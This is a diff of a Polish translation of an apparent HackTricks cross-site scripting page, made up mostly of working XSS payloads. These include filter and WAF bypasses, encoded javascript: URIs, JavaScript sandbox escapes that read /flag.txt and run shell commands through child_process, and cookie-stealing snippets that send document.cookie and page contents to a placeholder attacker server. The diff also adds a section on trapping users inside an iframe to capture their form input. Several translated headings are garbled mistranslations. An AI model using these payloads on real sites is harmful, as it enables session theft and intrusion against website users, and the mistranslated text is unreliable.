@ -165,12 +165,12 @@ W tym przypadku, jeśli nie jest używane czarne/białe listowanie, można uży
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Jednak jeśli jest używane filtrowanie tagów/cechowania na czarną/białą listę, będziesz musiał **przeprowadzić atak siłowy na tagi**, które możesz stworzyć.\
|
||||
Ale jeśli używane jest filtrowanie tagów/cech czarnej/białej listy, będziesz musiał **przeprowadzić atak siłowy na tagi**, które możesz stworzyć.\
|
||||
Gdy już **znajdziesz dozwolone tagi**, będziesz musiał **przeprowadzić atak siłowy na cechy/zdarzenia** w znalezionych poprawnych tagach, aby zobaczyć, jak możesz zaatakować kontekst.
|
||||
|
||||
### Atak siłowy na tagi/zdarzenia
|
||||
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy jakiekolwiek tagi nie zostały uznane za złośliwe przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
|
||||
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Skopiuj tagi do schowka**_. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy którykolwiek z tagów nie został uznany za złośliwy przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz **przeprowadzić atak siłowy na wszystkie zdarzenia** za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij _**Skopiuj zdarzenia do schowka**_ i postępuj tak samo jak wcześniej).
|
||||
|
||||
### Tagi niestandardowe
|
||||
|
||||
|
@ -178,7 +178,7 @@ Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **stwo
|
|||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Ominięcie czarnej listy
|
||||
### Pomijanie czarnej listy
|
||||
|
||||
Jeśli jest używana jakaś forma czarnej listy, możesz spróbować ją ominąć za pomocą kilku głupich sztuczek:
|
||||
```javascript
|
||||
|
@ -230,10 +230,10 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Długościowy bypass (małe XSSy)
|
||||
### Długość pomijania (małe XSSy)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Więcej małych XSSów dla różnych środowisk** payload [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) oraz [**tutaj**](https://tinyxss.terjanq.me).
|
||||
**Więcej małych XSS dla różnych środowisk** ładunek [**można znaleźć tutaj**](https://github.com/terjanq/Tiny-XSS-Payloads) oraz [**tutaj**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -242,23 +242,23 @@ onerror=alert`1`
|
|||
<script src=//℡㏛.pw>
|
||||
```
|
||||
Ostatni z nich używa 2 znaków Unicode, które rozszerzają się do 5: telsr\
|
||||
Więcej takich znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
|
||||
Aby sprawdzić, w jakie znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Jeśli do wykorzystania podatności potrzebujesz, aby **użytkownik kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**wykorzystać Clickjacking**](../clickjacking.md#xss-clickjacking) (jeśli strona jest podatna).
|
||||
|
||||
### Niemożliwe - Dangling Markup
|
||||
### Niemożliwe - Wiszące znaczniki
|
||||
|
||||
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Danglig Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
|
||||
Jeśli uważasz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Wiszące znaczniki**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** podatność **bez** wykonania **kodu JS**.
|
||||
|
||||
## Wstrzykiwanie wewnątrz tagu HTML
|
||||
|
||||
### Wewnątrz tagu/ucieczka z wartości atrybutu
|
||||
|
||||
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzednim rozdziale](./#injecting-inside-raw-html) do wykonania kodu JS.\
|
||||
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku, jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio wewnątrz tagu_):
|
||||
Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku takiego jak (_zauważ, że w tym przykładzie cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio w tagu_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -273,9 +273,9 @@ Jeśli **nie możesz uciec z tagu**, możesz utworzyć nowe atrybuty wewnątrz t
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### W atrybucie
|
||||
### Wewnątrz atrybutu
|
||||
|
||||
Nawet jeśli **nie możesz uciec od atrybutu** (`"` jest kodowane lub usuwane), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł ją nadużyć. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykonuje dowolny kod po kliknięciu.\
|
||||
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** twoja wartość jest odzwierciedlana, **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł ją nadużyć. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona dowolny kod po kliknięciu.\
|
||||
Innym interesującym **przykładem** jest atrybut `href`, gdzie można użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
|
||||
|
@ -311,7 +311,7 @@ Zauważ, że **każdy rodzaj kodowania HTML jest poprawny**:
|
|||
```
|
||||
### Specjalne protokoły wewnątrz atrybutu
|
||||
|
||||
W niektórych miejscach można użyć protokołów **`javascript:`** lub **`data:`** do **wykonania arbitralnego kodu JS**. Wymaga to interakcji użytkownika w niektórych przypadkach, a w innych nie.
|
||||
Możesz tutaj użyć protokołów **`javascript:`** lub **`data:`** w niektórych miejscach, aby **wykonać dowolny kod JS**. Niektóre będą wymagać interakcji użytkownika, a inne nie.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**Miejsca, w których można wstrzyknąć te protokoły**
|
||||
|
||||
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu akceptującym atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie w `<img`)
|
||||
**Ogólnie** protokół `javascript:` można **użyć w dowolnym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów akceptujących atrybut **`src`** (ale nie w `<img`)
|
||||
```markup
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
|
@ -359,17 +359,17 @@ _**W tym przypadku kodowanie HTML i sztuczka kodowania Unicode z poprzedniej sek
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **wejście wewnątrz `javascript:...` jest kodowane URL**, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz **wyjść** ze **stringa** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowane URL**, pamiętaj, że **to nie ma znaczenia**, zostanie to **zinterpretowane** jako **pojedynczy cudzysłów** podczas **wykonywania**.
|
||||
Ponadto istnieje inny **fajny trik** dla tych przypadków: Nawet jeśli twój **wejście wewnątrz `javascript:...` jest kodowane URL**, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz **wyrwać się** ze **stringa** używając **pojedynczego cudzysłowu** i widzisz, że **jest on kodowany URL**, pamiętaj, że **to nie ma znaczenia**, zostanie to **zinterpretowane** jako **pojedynczy cudzysłów** podczas **wykonywania**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
Zauważ, że jeśli spróbujesz **użyć zarówno** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payloadu**.
|
||||
Zauważ, że jeśli spróbujesz **użyć jednocześnie** `URLencode + HTMLencode` w dowolnej kolejności do zakodowania **payloadu**, to **nie** **zadziała**, ale możesz je **mieszać wewnątrz payloadu**.
|
||||
|
||||
**Używanie kodowania szesnastkowego i ósemkowego z `javascript:`**
|
||||
|
||||
Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
|
||||
Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej) do deklaracji **tagów HTML do wykonania JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -381,20 +381,20 @@ Możesz użyć **kodowania szesnastkowego** i **kodowania ósemkowego** wewnątr
|
|||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Odwrócone wyłudzanie danych z karty (Reverse tab nabbing)
|
||||
### Odwrócenie uwagi nabijania
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank" i rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag **`<a href=`** zawierający atrybuty **`target="_blank"`** i **`rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### na Pomijanie Obsługi Zdarzeń
|
||||
### na Bypassach Obsług Zdarzeń
|
||||
|
||||
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" event handlers**.\
|
||||
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
|
||||
Po pierwsze sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **obsług zdarzeń "on"**.\
|
||||
W przypadku, gdy istnieje czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, możesz spróbować następujących bypassów:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS w "Niewykorzystywanych tagach" (ukryte pole wejściowe, link, kanoniczny, meta)
|
||||
### XSS w "Tagach niemożliwych do wykorzystania" (ukryte pole wejściowe, link, kanoniczny, meta)
|
||||
|
||||
Z [**tutaj**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **teraz możliwe jest nadużycie ukrytych pól wejściowych za pomocą:**
|
||||
```html
|
||||
|
@ -424,7 +424,7 @@ A w **meta tagach**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload wewnątrz atrybutu ukrytego**, pod warunkiem, że **przekonasz** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **payload XSS w atrybucie ukrytym**, pod warunkiem, że uda ci się **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W przeglądarce Firefox Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -432,7 +432,7 @@ Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Moż
|
|||
|
||||
### Ominięcie czarnej listy
|
||||
|
||||
W tej sekcji już przedstawiono kilka sztuczek z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
|
||||
W tej sekcji już przedstawiono kilka sztuczek związanych z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
|
||||
|
||||
* **Kodowania HTML (tagi HTML)**
|
||||
* **Kodowania Unicode (może być poprawnym kodem JS):** `\u0061lert(1)`
|
||||
|
@ -454,7 +454,7 @@ Jeśli znalazłeś **XSS w bardzo małej części** strony internetowej, która
|
|||
|
||||
Na przykład, możesz dodać pewne style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład
|
||||
Jeśli jednak WAF filtrowanie atrybutu stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -474,15 +474,15 @@ W tych przypadkach **twój input** będzie **odzwierciedlany wewnątrz kodu JS**
|
|||
|
||||
### Ucieczka przed tagiem \<script>
|
||||
|
||||
Jeśli twój kod jest wstawiony między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uciec zamykając tag `<script>`**:
|
||||
Jeśli twój kod jest wstawiany między `<script> [...] var input = 'reflected data' [...] </script>`, możesz łatwo **uniknąć zamknięcia tagu `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak dlatego, że **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później.
|
||||
Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **przeglądarka najpierw wykonuje analizę HTML**, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
|
||||
|
||||
### Wewnątrz kodu JS
|
||||
|
||||
Jeśli `<>` są oczyszczane, nadal możesz **uśmiercić ciąg znaków** tam, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
|
||||
Jeśli `<>` są oczyszczane, nadal możesz **użyć znaków ucieczki w ciągu znaków**, gdzie znajduje się **twoje dane wejściowe** i **wykonać dowolny kod JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ w przypadku jakichkolwiek błędów kod JS nie zostanie wykonany:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -490,8 +490,9 @@ Jeśli `<>` są oczyszczane, nadal możesz **uśmiercić ciąg znaków** tam, gd
|
|||
```
|
||||
### Szablony literałów \`\`
|
||||
|
||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `** . Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }` .\
|
||||
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS, który używa backticks, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
|
||||
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako szablony literałów, ponieważ pozwalają one na **osadzanie wyrażeń JS** za pomocą składni `${ ... }`.
|
||||
|
||||
Dlatego jeśli zauważysz, że wprowadzone dane są **odzwierciedlane** wewnątrz ciągu znaków JS, który używa backticków, możesz nadużyć składni `${ ... }` do wykonania **dowolnego kodu JS**:
|
||||
|
||||
Można to **wykorzystać** używając:
|
||||
```javascript
|
||||
|
@ -519,7 +520,7 @@ loop``````````````
|
|||
```
|
||||
### Techniki omijania czarnych list w JavaScript
|
||||
|
||||
**Ciągi znaków**
|
||||
**Łańcuchy znaków**
|
||||
```javascript
|
||||
"thisisastring"
|
||||
'thisisastrig'
|
||||
|
@ -563,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nowe linie JavaScript (z** [**sztuczka nowej linii w JavaScript**](./#javascript-new-lines) **)**
|
||||
**Nowe linie JavaScript (z triku** [**Nowa linia w JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -743,13 +744,13 @@ Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez
|
|||
{% endcontent-ref %}
|
||||
|
||||
Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\
|
||||
Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobbering DOM**](dom-xss.md#dom-clobbering).
|
||||
Nie zapomnij również, że **na końcu wspomnianego posta** znajdziesz wyjaśnienie na temat [**ataków clobbering w DOM**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Inne metody bypassowania
|
||||
|
||||
### Znormalizowany Unicode
|
||||
|
||||
Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane do unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane pod kątem Unicode** po stronie serwera (lub po stronie klienta) i wykorzystać tę funkcjonalność do ominięcia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Bypass flagi PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
|
@ -757,7 +758,7 @@ Możesz sprawdzić, czy **odbijane wartości** są **znormalizowane do unicode**
|
|||
```
|
||||
### Pominięcie Ruby-On-Rails
|
||||
|
||||
Ze względu na cytaty **masowego przypisania RoR** są wstawiane do HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
|
||||
Ze względu na **masowe przypisanie RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cudzysłowów jest omijane, a dodatkowe pola (onfocus) mogą być dodane wewnątrz tagu.\
|
||||
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -766,9 +767,9 @@ Para "Klucz","Wartość" zostanie odesłane w ten sposób:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
### Specjalne kombinacje
|
||||
|
||||
Następnie zostanie wstawiony atrybut onfocus i wystąpi XSS.
|
||||
|
||||
### Specjalne kombinacje
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -800,7 +801,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS z wstrzykiwaniem nagłówka w odpowiedzi 302
|
||||
|
||||
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niebanalne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
|
||||
Jeśli odkryjesz, że możesz **wstrzyknąć nagłówki w odpowiedzi przekierowania 302**, możesz spróbować **spowodować wykonanie dowolnego kodu JavaScript przez przeglądarkę**. Jest to **niełatwe**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam payload skryptu XSS jest bezużyteczny.
|
||||
|
||||
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz nagłówka Lokalizacja i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie payloadu XSS w treści.
|
||||
|
||||
|
@ -857,7 +858,7 @@ Odpowiedź to:
|
|||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala poprawić składnię importu
|
||||
* [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala na poprawę składni importu
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
|
@ -919,7 +920,7 @@ Jeśli strona zwraca typ zawartości text/xml, można wskazać przestrzeń nazw
|
|||
```
|
||||
### Specjalne wzorce zastępowania
|
||||
|
||||
Gdy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), aby próbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Kiedy używane jest coś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**specjalnych zastąpień łańcuchów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement), aby spróbować ominąć pewne zabezpieczenia: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), zostało to użyte do **wydobycia łańcucha JSON** wewnątrz skryptu i wykonania dowolnego kodu.
|
||||
|
||||
|
@ -931,7 +932,7 @@ Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
|
|||
|
||||
### Ucieczka z więzienia XS
|
||||
|
||||
Jeśli masz do dyspozycji ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów z XSJail:
|
||||
Jeśli masz do dyspozycji tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania problemów związanych z XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -962,16 +963,16 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), można generować przydatne obiekty "z niczego", aby nadużyć wykonania arbitralnego niezaufanego kodu:
|
||||
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem niezaufanego kodu (tak jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), możliwe jest generowanie przydatnych obiektów "z niczego", aby nadużyć wykonanie arbitralnego niezaufanego kodu:
|
||||
|
||||
* Korzystając z import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* Dostęp do `require` pośrednio
|
||||
* Otrzymywanie dostępu do `require` pośrednio
|
||||
|
||||
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js wewnątrz funkcji, tak jak tutaj:
|
||||
[Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są owinięte przez Node.js w funkcję, tak jak tutaj:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -983,7 +984,9 @@ Dlatego jeśli z tego modułu możemy **wywołać inną funkcję**, można uży
|
|||
```javascript
|
||||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||||
```
|
||||
W podobny sposób do poprzedniego przykładu, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
|
||||
{% endcode %}
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, możliwe jest **wykorzystanie obsługi błędów** do uzyskania dostępu do **opakowania** modułu i uzyskania funkcji **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1020,7 +1023,7 @@ console.log(req('child_process').execSync('id').toString())
|
|||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuskacja i Zaawansowane Bypassowanie
|
||||
### Obfuskacja i Zaawansowane Ominięcia
|
||||
|
||||
* **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
|
@ -1063,6 +1066,14 @@ trigger()
|
|||
[steal-info-js.md](steal-info-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Pułapka Iframe
|
||||
|
||||
Spowoduj, że użytkownik będzie nawigować po stronie bez wychodzenia z ramki i przejmij kontrolę nad jego działaniami (w tym informacje wysyłane w formularzach):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Pobierz ciasteczka
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
|
@ -1102,7 +1113,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
xhr.open('GET', url, true);
|
||||
xhr.send(null);
|
